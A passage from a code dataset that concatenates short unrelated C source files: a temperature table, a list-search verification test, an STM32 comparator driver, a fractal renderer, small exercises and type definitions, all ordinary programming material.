/* print Fahrenheit-Celsius table */
main()
{
int fahr;
for (fahr = LOWER; fahr <= UPPER; fahr = fahr + STEP)
printf("%3d %6.1f\n", fahr, (5.0/9.0)*(fahr-32));
}
|
the_stack_data/128264188.c | #include<stdlib.h>
#include<stdio.h>
struct list_el {
int val;
struct list_el *next;
};
typedef struct list_el item;
item* search_list(item* i, int k) {
int x;
while(i!=NULL && i->val!=k) {
i = i->next ;
}
return i;
}
int main(void) {
item *curr, *head, *ret;
int i=0;
head = NULL;
for(i=1;i<=2;i++) {
curr = (item *)malloc(sizeof(item));
__ESBMC_assume(curr);
curr->val = i;
curr->next = head;
head = curr;
}
ret = search_list(curr,2);
assert(ret->val==1);
return 0;
}
|
the_stack_data/95450507.c | extern const unsigned char DocuSignReactNativeSampleVersionString[];
extern const double DocuSignReactNativeSampleVersionNumber;
const unsigned char DocuSignReactNativeSampleVersionString[] __attribute__ ((used)) = "@(#)PROGRAM:DocuSignReactNativeSample PROJECT:DocuSignReactNativeSample-1" "\n";
const double DocuSignReactNativeSampleVersionNumber __attribute__ ((used)) = (double)1.;
|
the_stack_data/497698.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_ft.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: mmasstou <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/06/27 17:17:32 by mmasstou #+# #+# */
/* Updated: 2021/06/27 17:29:28 by mmasstou ### ########.fr */
/* */
/* ************************************************************************** */
void ft_ft(int *nbr )
{
*nbr = 42 ;
}
|
the_stack_data/58974.c | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
/* z=(x^2+5c^2)*x/|x+c|^3 */
void f(float x[2], float c[2], float z[2])
{
float foo[2];
float d;
z[0]=x[0]+c[0];
z[1]=x[1]+c[1];
d=z[0]*z[0]+z[1]*z[1];
if(d==0)
{
z[0]=100; z[1]=-99; return;
}
d=sqrt(d*d*d);
z[0]=x[0]*x[0]-x[1]*x[1]+c[0]*c[0]-c[1]*c[1];
z[1]=2*x[0]*x[1]+10*c[0]*c[1];
foo[0]=z[0]*x[0]-z[1]*x[1];
foo[1]=z[0]*x[1]+z[1]*x[0];
z[0]=foo[0]/d;
z[1]=foo[1]/d;
}
int main(int argc, char *argv[])
{
int i,j,width,height;
float x[2],c[2],z[2],d,theta;
width=height=100;
if(argc>=2)
{
width=atoi(argv[1]);
if(argc>=3)
height=atoi(argv[2]);
}
theta=0;
while(1)
{
c[0]=sin(theta)*.66+cos(3*theta+.2)*sin(2.66*theta+1)*.34;
c[1]=cos(theta)*.45+theta/(1+theta)-cos(.33*theta+.3)-1;
theta+=.03;
for(i=0;i<height;i++)
{
for(j=0;j<width;j++)
{
x[0]=(j-width/2)*3.0/width;
x[1]=(i-height/2)*3.0/height;
f(x,c,z);
d=sqrt(z[0]*z[0]+z[1]*z[1]);
if(d<1) putchar(d*256);
else putchar(255);
if(d<1) putchar(0);
else if(d<3) putchar((d-1)*128);
else putchar(255);
if(d<3) putchar(0);
else if(d<19) putchar((d-3)*16);
else putchar(255);
}
}
}
return 0;
}
|
the_stack_data/247018189.c | /**
******************************************************************************
* @file stm32f0xx_ll_comp.c
* @author MCD Application Team
* @version V1.4.0
* @date 27-May-2016
* @brief COMP LL module driver
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2016 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32f0xx_ll_comp.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32F0xx_LL_Driver
* @{
*/
#if defined (COMP1) || defined (COMP2)
/** @addtogroup COMP_LL COMP
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup COMP_LL_Private_Macros
* @{
*/
/* Check of parameters for configuration of COMP hierarchical scope: */
/* COMP instance. */
#define IS_LL_COMP_POWER_MODE(__POWER_MODE__) \
( ((__POWER_MODE__) == LL_COMP_POWERMODE_HIGHSPEED) \
|| ((__POWER_MODE__) == LL_COMP_POWERMODE_MEDIUMSPEED) \
|| ((__POWER_MODE__) == LL_COMP_POWERMODE_LOWPOWER) \
|| ((__POWER_MODE__) == LL_COMP_POWERMODE_ULTRALOWPOWER) \
)
/* Note: On this STM32 serie, comparator input plus parameters are */
/* the different depending on COMP instances. */
#define IS_LL_COMP_INPUT_PLUS(__COMP_INSTANCE__, __INPUT_PLUS__) \
(((__COMP_INSTANCE__) == COMP1) \
? ( \
((__INPUT_PLUS__) == LL_COMP_INPUT_PLUS_IO1) \
|| ((__INPUT_PLUS__) == LL_COMP_INPUT_PLUS_DAC1_CH1) \
) \
: \
( \
((__INPUT_PLUS__) == LL_COMP_INPUT_PLUS_IO1) \
) \
)
/* Note: On this STM32 serie, comparator input minus parameters are */
/* the same on all COMP instances. */
/* However, comparator instance kept as macro parameter for */
/* compatibility with other STM32 families. */
#define IS_LL_COMP_INPUT_MINUS(__COMP_INSTANCE__, __INPUT_MINUS__) \
( ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_1_4VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_1_2VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_3_4VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_DAC1_CH1) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_DAC1_CH2) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO1) \
)
#define IS_LL_COMP_INPUT_HYSTERESIS(__INPUT_HYSTERESIS__) \
( ((__INPUT_HYSTERESIS__) == LL_COMP_HYSTERESIS_NONE) \
|| ((__INPUT_HYSTERESIS__) == LL_COMP_HYSTERESIS_LOW) \
|| ((__INPUT_HYSTERESIS__) == LL_COMP_HYSTERESIS_MEDIUM) \
|| ((__INPUT_HYSTERESIS__) == LL_COMP_HYSTERESIS_HIGH) \
)
#define IS_LL_COMP_OUTPUT_SELECTION(__OUTPUT_SELECTION__) \
( ((__OUTPUT_SELECTION__) == LL_COMP_OUTPUT_NONE) \
|| ((__OUTPUT_SELECTION__) == LL_COMP_OUTPUT_TIM1_BKIN) \
|| ((__OUTPUT_SELECTION__) == LL_COMP_OUTPUT_TIM1_IC1) \
|| ((__OUTPUT_SELECTION__) == LL_COMP_OUTPUT_TIM1_OCCLR) \
|| ((__OUTPUT_SELECTION__) == LL_COMP_OUTPUT_TIM2_IC4) \
|| ((__OUTPUT_SELECTION__) == LL_COMP_OUTPUT_TIM2_OCCLR) \
|| ((__OUTPUT_SELECTION__) == LL_COMP_OUTPUT_TIM3_IC1) \
|| ((__OUTPUT_SELECTION__) == LL_COMP_OUTPUT_TIM3_OCCLR) \
)
#define IS_LL_COMP_OUTPUT_POLARITY(__POLARITY__) \
( ((__POLARITY__) == LL_COMP_OUTPUTPOL_NONINVERTED) \
|| ((__POLARITY__) == LL_COMP_OUTPUTPOL_INVERTED) \
)
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup COMP_LL_Exported_Functions
* @{
*/
/** @addtogroup COMP_LL_EF_Init
* @{
*/
/**
* @brief De-initialize registers of the selected COMP instance
* to their default reset values.
* @note If comparator is locked, de-initialization by software is
* not possible.
* The only way to unlock the comparator is a device hardware reset.
* @param COMPx COMP instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: COMP registers are de-initialized
* - ERROR: COMP registers are not de-initialized
*/
ErrorStatus LL_COMP_DeInit(COMP_TypeDef *COMPx)
{
ErrorStatus status = SUCCESS;
/* Check the parameters */
assert_param(IS_COMP_ALL_INSTANCE(COMPx));
/* Note: Hardware constraint (refer to description of this function): */
/* COMP instance must not be locked. */
if(LL_COMP_IsLocked(COMPx) == 0U)
{
/* Note: Connection switch is applicable only to COMP instance COMP1, */
/* therefore is COMP2 is selected the equivalent bit is */
/* kept unmodified. */
if(COMPx == COMP1)
{
CLEAR_BIT(COMP->CSR,
( COMP_CSR_COMP1MODE
| COMP_CSR_COMP1INSEL
| COMP_CSR_COMP1SW1
| COMP_CSR_COMP1OUTSEL
| COMP_CSR_COMP1HYST
| COMP_CSR_COMP1POL
| COMP_CSR_COMP1EN
) << __COMP_BITOFFSET_INSTANCE(COMPx)
);
}
else
{
CLEAR_BIT(COMP->CSR,
( COMP_CSR_COMP1MODE
| COMP_CSR_COMP1INSEL
| COMP_CSR_COMP1OUTSEL
| COMP_CSR_COMP1HYST
| COMP_CSR_COMP1POL
| COMP_CSR_COMP1EN
) << __COMP_BITOFFSET_INSTANCE(COMPx)
);
}
}
else
{
/* Comparator instance is locked: de-initialization by software is */
/* not possible. */
/* The only way to unlock the comparator is a device hardware reset. */
status = ERROR;
}
return status;
}
/**
* @brief Initialize some features of COMP instance.
* @note This function configures features of the selected COMP instance.
* Some features are also available at scope COMP common instance
* (common to several COMP instances).
* Refer to functions having argument "COMPxy_COMMON" as parameter.
* @param COMPx COMP instance
* @param COMP_InitStruct Pointer to a @ref LL_COMP_InitTypeDef structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: COMP registers are initialized
* - ERROR: COMP registers are not initialized
*/
ErrorStatus LL_COMP_Init(COMP_TypeDef *COMPx, LL_COMP_InitTypeDef *COMP_InitStruct)
{
ErrorStatus status = SUCCESS;
/* Check the parameters */
assert_param(IS_COMP_ALL_INSTANCE(COMPx));
assert_param(IS_LL_COMP_POWER_MODE(COMP_InitStruct->PowerMode));
assert_param(IS_LL_COMP_INPUT_PLUS(COMPx, COMP_InitStruct->InputPlus));
assert_param(IS_LL_COMP_INPUT_MINUS(COMPx, COMP_InitStruct->InputMinus));
assert_param(IS_LL_COMP_INPUT_HYSTERESIS(COMP_InitStruct->InputHysteresis));
assert_param(IS_LL_COMP_OUTPUT_SELECTION(COMP_InitStruct->OutputSelection));
assert_param(IS_LL_COMP_OUTPUT_POLARITY(COMP_InitStruct->OutputPolarity));
/* Note: Hardware constraint (refer to description of this function) */
/* COMP instance must not be locked. */
if(LL_COMP_IsLocked(COMPx) == 0U)
{
/* Configuration of comparator instance : */
/* - PowerMode */
/* - InputPlus */
/* - InputMinus */
/* - InputHysteresis */
/* - OutputSelection */
/* - OutputPolarity */
/* Note: Connection switch is applicable only to COMP instance COMP1, */
/* therefore is COMP2 is selected the equivalent bit is */
/* kept unmodified. */
if(COMPx == COMP1)
{
MODIFY_REG(COMP->CSR,
( COMP_CSR_COMP1MODE
| COMP_CSR_COMP1INSEL
| COMP_CSR_COMP1SW1
| COMP_CSR_COMP1OUTSEL
| COMP_CSR_COMP1HYST
| COMP_CSR_COMP1POL
) << __COMP_BITOFFSET_INSTANCE(COMPx)
,
( COMP_InitStruct->PowerMode
| COMP_InitStruct->InputPlus
| COMP_InitStruct->InputMinus
| COMP_InitStruct->InputHysteresis
| COMP_InitStruct->OutputSelection
| COMP_InitStruct->OutputPolarity
) << __COMP_BITOFFSET_INSTANCE(COMPx)
);
}
else
{
MODIFY_REG(COMP->CSR,
( COMP_CSR_COMP1MODE
| COMP_CSR_COMP1INSEL
| COMP_CSR_COMP1OUTSEL
| COMP_CSR_COMP1HYST
| COMP_CSR_COMP1POL
) << __COMP_BITOFFSET_INSTANCE(COMPx)
,
( COMP_InitStruct->PowerMode
| COMP_InitStruct->InputPlus
| COMP_InitStruct->InputMinus
| COMP_InitStruct->InputHysteresis
| COMP_InitStruct->OutputSelection
| COMP_InitStruct->OutputPolarity
) << __COMP_BITOFFSET_INSTANCE(COMPx)
);
}
}
else
{
/* Initialization error: COMP instance is locked. */
status = ERROR;
}
return status;
}
/**
* @brief Set each @ref LL_COMP_InitTypeDef field to default value.
* @param COMP_InitStruct: pointer to a @ref LL_COMP_InitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_COMP_StructInit(LL_COMP_InitTypeDef *COMP_InitStruct)
{
/* Set COMP_InitStruct fields to default values */
COMP_InitStruct->PowerMode = LL_COMP_POWERMODE_ULTRALOWPOWER;
COMP_InitStruct->InputPlus = LL_COMP_INPUT_PLUS_IO1;
COMP_InitStruct->InputMinus = LL_COMP_INPUT_MINUS_VREFINT;
COMP_InitStruct->InputHysteresis = LL_COMP_HYSTERESIS_NONE;
COMP_InitStruct->OutputSelection = LL_COMP_OUTPUT_NONE;
COMP_InitStruct->OutputPolarity = LL_COMP_OUTPUTPOL_NONINVERTED;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* COMP1 || COMP2 */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/32951374.c | #include <stdio.h>
#include <stdlib.h>
int cmp(const void *a, const void *b) {
return *(int *) a - *(int *) b;
}
int main() {
int a[200000], b[200000];
int n, m, t, i, ai = 0, bi = 0, cnt = 0, c, d;
scanf("%d %d", &n, &m);
for (i = 0; i < n; i++) scanf("%d", a + i);
for (i = 0; i < m; i++) scanf("%d", b + i);
qsort(a, n, sizeof(int), cmp);
qsort(b, m, sizeof(int), cmp);
while (ai < n && bi < m) {
c = a[ai];
d = b[bi];
if (c == d) {
cnt++;
ai++;
bi++;
} else if (c < d) ai++;
else bi++;
}
printf("%d", n + m - (cnt << 1));
} |
the_stack_data/247019201.c | // Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Expose some runtime functions for testing.
typedef char bool;
bool runtime·lockedOSThread(void);
static void
FLUSH(void*)
{
}
void
·lockedOSThread(bool b)
{
b = runtime·lockedOSThread();
FLUSH(&b);
}
|
the_stack_data/138687.c | /** very simple tests */
typedef struct
{
long __val[2];
} my__quad_t;
typedef char _char;
typedef short _short;
typedef int _int;
typedef unsigned int _uint;
typedef long _long;
typedef unsigned long _ulong;
typedef double _double;
typedef long double _longdouble;
typedef float _float;
typedef void* _ptr;
|
the_stack_data/17470.c | #include <stdio.h>
/**
* main - Entry point of the program
* Return: 0 if success or -1 if fail
*/
int main(void)
{
printf("Size of a char: %d byte(s)\n", sizeof(char));
printf("Size of an int: %d byte(s)\n", sizeof(int));
printf("Size of a long int: %d byte(s)\n", sizeof(long int));
printf("Size of a long long int: %d byte(s)\n", sizeof(long long int));
printf("Size of a float: %d byte(s)\n", sizeof(float));
return (0);
}
|
Subsets and Splits